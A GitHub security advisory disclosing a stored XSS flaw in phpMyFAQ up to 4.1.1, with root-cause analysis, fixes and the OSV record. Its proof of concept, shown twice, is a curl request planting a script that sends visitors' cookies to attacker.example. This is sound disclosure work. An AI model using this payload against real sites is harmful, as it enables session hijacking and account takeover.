GHSA-F5P7-2C9Q-8896
Vulnerability from github – Published: 2026-05-06 20:18 – Updated: 2026-05-06 20:18Summary
The FAQ creation and update endpoints in phpMyFAQ apply FILTER_SANITIZE_SPECIAL_CHARS (which HTML-encodes input), then immediately call html_entity_decode() which reverses the encoding, followed by Filter::removeAttributes() which only strips HTML attributes — not tags. This allows <script>, <iframe>, <object>, and <embed> tags to be stored in the database and rendered unescaped via {{ answer|raw }} and {{ question|raw }} in the Twig template, causing JavaScript execution in every visitor's browser.
Details
Vulnerable code path (FAQ create — FaqController.php):
At line 120, the answer content is filtered:
$content = Filter::filterVar($data->answer, FILTER_SANITIZE_SPECIAL_CHARS);
Filter::filterVar() calls filterSanitizeString() (Filter.php:135-144) which applies htmlspecialchars(), converting <script> to <script>. The regex /\x00|<[^>]*>?/ then finds no literal angle brackets to strip.
At lines 150-154, the encoded content is decoded and passed to attribute-only sanitization:
->setAnswer(Filter::removeAttributes(html_entity_decode(
(string) $content,
ENT_QUOTES | ENT_HTML5,
encoding: 'UTF-8',
)))
html_entity_decode() converts <script> back to <script>, fully reversing the earlier sanitization. Filter::removeAttributes() (Filter.php:150-196) only matches and strips attribute=value patterns from a known list of HTML attributes (event handlers like onclick, onerror, etc.) but performs no tag-level filtering. A <script> tag with no attributes passes through completely unchanged.
The identical pattern exists in the update endpoint at lines 389-398.
Rendering sink (faq.twig):
<h2 class="mb-4 border-bottom">{{ question | raw }}</h2>
<article class="pmf-faq-body pb-4 mb-4 border-bottom">{{ answer|raw }}</article>
The |raw filter disables Twig's auto-escaping, causing the stored <script> tag to execute in every visitor's browser.
Additional rendering sinks exist in search.twig (line 75, 77) where search results also render FAQ content with |raw.
PoC
Prerequisites: Authenticated session with FAQ_ADD permission and a valid CSRF token.
Step 1: Create a malicious FAQ
curl -X POST 'https://target/admin/api/faq/create' \
-H 'Cookie: PHPSESSID=<admin_session>' \
-H 'Content-Type: application/json' \
-d '{
"data": {
"pmf-csrf-token": "<valid_csrf_token>",
"question": "Harmless FAQ Title",
"answer": "Helpful content<script>fetch(\"https://attacker.example/steal?c=\"+document.cookie)</script>",
"categories[]": 1,
"lang": "en",
"tags": "",
"active": "yes",
"sticky": "no",
"keywords": "test",
"author": "Admin",
"email": "admin@example.com",
"comment": "n",
"changed": "Initial",
"notes": "",
"serpTitle": "Harmless FAQ",
"serpDescription": "Test",
"openQuestionId": 0,
"notifyEmail": "",
"notifyUser": "",
"recordDateHandling": "updateDate"
}
}'
Expected response: 200 OK with the new FAQ ID.
Step 2: Verify XSS execution
Navigate to the public FAQ page (e.g., https://target/content/1/{faqId}/en/harmless-faq-title.html). The <script> tag in the answer body executes, sending the visitor's cookies to the attacker's server.
Impact
- Session hijacking: An attacker with FAQ creation privileges can steal session cookies from any user (including administrators) who views the FAQ, enabling full account takeover.
- Phishing: The injected script can modify page content to display fake login forms or redirect users to malicious sites.
- Worm propagation: If the attacker captures an admin session, they can create additional malicious FAQs automatically, spreading the attack.
- Scope: Every unauthenticated visitor who views the compromised FAQ is affected. The XSS also fires in search results via
search.twig.
Recommended Fix
Replace the encode→decode→removeAttributes chain with a proper HTML sanitizer that operates on the DOM level. Use a library like HTML Purifier or Symfony's HtmlSanitizer component.
Immediate fix — add tag-level filtering to removeAttributes() (Filter.php):
public static function removeAttributes(string $html = ''): string
{
// Strip dangerous HTML tags entirely
$dangerousTags = ['script', 'iframe', 'object', 'embed', 'applet', 'form', 'base', 'link', 'meta'];
foreach ($dangerousTags as $tag) {
$html = preg_replace('/<' . $tag . '\b[^>]*>.*?<\/' . $tag . '>/is', '', $html);
$html = preg_replace('/<' . $tag . '\b[^>]*\/?>/is', '', $html);
}
// Also sanitize javascript: URIs in href/src attributes
$html = preg_replace('/\b(href|src)\s*=\s*["\']?\s*javascript:/i', '$1="', $html);
$keep = [
'href', 'src', 'title', 'alt', 'class', 'style', 'id',
'name', 'size', 'dir', 'rel', 'rev', 'target', 'width',
'height', 'controls',
];
// ... rest of existing attribute removal logic
Recommended long-term fix: Replace custom sanitization with Symfony's HtmlSanitizer, which is already a project dependency ecosystem:
use Symfony\Component\HtmlSanitizer\HtmlSanitizer;
use Symfony\Component\HtmlSanitizer\HtmlSanitizerConfig;
$config = (new HtmlSanitizerConfig())
->allowSafeElements()
->blockElement('script')
->blockElement('iframe')
->blockElement('object')
->blockElement('embed');
$sanitizer = new HtmlSanitizer($config);
$cleanAnswer = $sanitizer->sanitize($rawAnswer);
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.1.1"
},
"package": {
"ecosystem": "Packagist",
"name": "phpmyfaq/phpmyfaq"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.1.1"
},
"package": {
"ecosystem": "Packagist",
"name": "thorsten/phpmyfaq"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-06T20:18:02Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Summary\n\nThe FAQ creation and update endpoints in phpMyFAQ apply `FILTER_SANITIZE_SPECIAL_CHARS` (which HTML-encodes input), then immediately call `html_entity_decode()` which reverses the encoding, followed by `Filter::removeAttributes()` which only strips HTML attributes \u2014 not tags. This allows `\u003cscript\u003e`, `\u003ciframe\u003e`, `\u003cobject\u003e`, and `\u003cembed\u003e` tags to be stored in the database and rendered unescaped via `{{ answer|raw }}` and `{{ question|raw }}` in the Twig template, causing JavaScript execution in every visitor\u0027s browser.\n\n## Details\n\n**Vulnerable code path (FAQ create \u2014 `FaqController.php`):**\n\nAt line 120, the answer content is filtered:\n```php\n$content = Filter::filterVar($data-\u003eanswer, FILTER_SANITIZE_SPECIAL_CHARS);\n```\n\n`Filter::filterVar()` calls `filterSanitizeString()` (`Filter.php:135-144`) which applies `htmlspecialchars()`, converting `\u003cscript\u003e` to `\u0026lt;script\u0026gt;`. The regex `/\\x00|\u003c[^\u003e]*\u003e?/` then finds no literal angle brackets to strip.\n\nAt lines 150-154, the encoded content is decoded and passed to attribute-only sanitization:\n```php\n-\u003esetAnswer(Filter::removeAttributes(html_entity_decode(\n (string) $content,\n ENT_QUOTES | ENT_HTML5,\n encoding: \u0027UTF-8\u0027,\n)))\n```\n\n`html_entity_decode()` converts `\u0026lt;script\u0026gt;` back to `\u003cscript\u003e`, fully reversing the earlier sanitization. `Filter::removeAttributes()` (`Filter.php:150-196`) only matches and strips `attribute=value` patterns from a known list of HTML attributes (event handlers like `onclick`, `onerror`, etc.) but performs **no tag-level filtering**. A `\u003cscript\u003e` tag with no attributes passes through completely unchanged.\n\nThe identical pattern exists in the update endpoint at lines 389-398.\n\n**Rendering sink (`faq.twig`):**\n\n```twig\n\u003ch2 class=\"mb-4 border-bottom\"\u003e{{ question | raw }}\u003c/h2\u003e\n\u003carticle class=\"pmf-faq-body pb-4 mb-4 border-bottom\"\u003e{{ answer|raw }}\u003c/article\u003e\n```\n\nThe `|raw` filter disables Twig\u0027s auto-escaping, causing the stored `\u003cscript\u003e` tag to execute in every visitor\u0027s browser.\n\nAdditional rendering sinks exist in `search.twig` (line 75, 77) where search results also render FAQ content with `|raw`.\n\n## PoC\n\n**Prerequisites:** Authenticated session with `FAQ_ADD` permission and a valid CSRF token.\n\n**Step 1: Create a malicious FAQ**\n```bash\ncurl -X POST \u0027https://target/admin/api/faq/create\u0027 \\\n -H \u0027Cookie: PHPSESSID=\u003cadmin_session\u003e\u0027 \\\n -H \u0027Content-Type: application/json\u0027 \\\n -d \u0027{\n \"data\": {\n \"pmf-csrf-token\": \"\u003cvalid_csrf_token\u003e\",\n \"question\": \"Harmless FAQ Title\",\n \"answer\": \"Helpful content\u003cscript\u003efetch(\\\"https://attacker.example/steal?c=\\\"+document.cookie)\u003c/script\u003e\",\n \"categories[]\": 1,\n \"lang\": \"en\",\n \"tags\": \"\",\n \"active\": \"yes\",\n \"sticky\": \"no\",\n \"keywords\": \"test\",\n \"author\": \"Admin\",\n \"email\": \"admin@example.com\",\n \"comment\": \"n\",\n \"changed\": \"Initial\",\n \"notes\": \"\",\n \"serpTitle\": \"Harmless FAQ\",\n \"serpDescription\": \"Test\",\n \"openQuestionId\": 0,\n \"notifyEmail\": \"\",\n \"notifyUser\": \"\",\n \"recordDateHandling\": \"updateDate\"\n }\n }\u0027\n```\n\n**Expected response:** `200 OK` with the new FAQ ID.\n\n**Step 2: Verify XSS execution**\n\nNavigate to the public FAQ page (e.g., `https://target/content/1/{faqId}/en/harmless-faq-title.html`). The `\u003cscript\u003e` tag in the answer body executes, sending the visitor\u0027s cookies to the attacker\u0027s server.\n\n## Impact\n\n- **Session hijacking:** An attacker with FAQ creation privileges can steal session cookies from any user (including administrators) who views the FAQ, enabling full account takeover.\n- **Phishing:** The injected script can modify page content to display fake login forms or redirect users to malicious sites.\n- **Worm propagation:** If the attacker captures an admin session, they can create additional malicious FAQs automatically, spreading the attack.\n- **Scope:** Every unauthenticated visitor who views the compromised FAQ is affected. The XSS also fires in search results via `search.twig`.\n\n## Recommended Fix\n\nReplace the encode\u2192decode\u2192removeAttributes chain with a proper HTML sanitizer that operates on the DOM level. Use a library like [HTML Purifier](http://htmlpurifier.org/) or Symfony\u0027s [HtmlSanitizer](https://symfony.com/doc/current/html_sanitizer.html) component.\n\n**Immediate fix \u2014 add tag-level filtering to `removeAttributes()`** (`Filter.php`):\n\n```php\npublic static function removeAttributes(string $html = \u0027\u0027): string\n{\n // Strip dangerous HTML tags entirely\n $dangerousTags = [\u0027script\u0027, \u0027iframe\u0027, \u0027object\u0027, \u0027embed\u0027, \u0027applet\u0027, \u0027form\u0027, \u0027base\u0027, \u0027link\u0027, \u0027meta\u0027];\n foreach ($dangerousTags as $tag) {\n $html = preg_replace(\u0027/\u003c\u0027 . $tag . \u0027\\b[^\u003e]*\u003e.*?\u003c\\/\u0027 . $tag . \u0027\u003e/is\u0027, \u0027\u0027, $html);\n $html = preg_replace(\u0027/\u003c\u0027 . $tag . \u0027\\b[^\u003e]*\\/?\u003e/is\u0027, \u0027\u0027, $html);\n }\n\n // Also sanitize javascript: URIs in href/src attributes\n $html = preg_replace(\u0027/\\b(href|src)\\s*=\\s*[\"\\\u0027]?\\s*javascript:/i\u0027, \u0027$1=\"\u0027, $html);\n\n $keep = [\n \u0027href\u0027, \u0027src\u0027, \u0027title\u0027, \u0027alt\u0027, \u0027class\u0027, \u0027style\u0027, \u0027id\u0027,\n \u0027name\u0027, \u0027size\u0027, \u0027dir\u0027, \u0027rel\u0027, \u0027rev\u0027, \u0027target\u0027, \u0027width\u0027,\n \u0027height\u0027, \u0027controls\u0027,\n ];\n // ... rest of existing attribute removal logic\n```\n\n**Recommended long-term fix:** Replace custom sanitization with Symfony\u0027s HtmlSanitizer, which is already a project dependency ecosystem:\n\n```php\nuse Symfony\\Component\\HtmlSanitizer\\HtmlSanitizer;\nuse Symfony\\Component\\HtmlSanitizer\\HtmlSanitizerConfig;\n\n$config = (new HtmlSanitizerConfig())\n -\u003eallowSafeElements()\n -\u003eblockElement(\u0027script\u0027)\n -\u003eblockElement(\u0027iframe\u0027)\n -\u003eblockElement(\u0027object\u0027)\n -\u003eblockElement(\u0027embed\u0027);\n\n$sanitizer = new HtmlSanitizer($config);\n$cleanAnswer = $sanitizer-\u003esanitize($rawAnswer);\n```",
"id": "GHSA-f5p7-2c9q-8896",
"modified": "2026-05-06T20:18:02Z",
"published": "2026-05-06T20:18:02Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-f5p7-2c9q-8896"
},
{
"type": "PACKAGE",
"url": "https://github.com/thorsten/phpMyFAQ"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "phpMyFAQ has Stored XSS in FAQ Question/Answer via Encode-Decode Bypass of removeAttributes() Sanitization"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.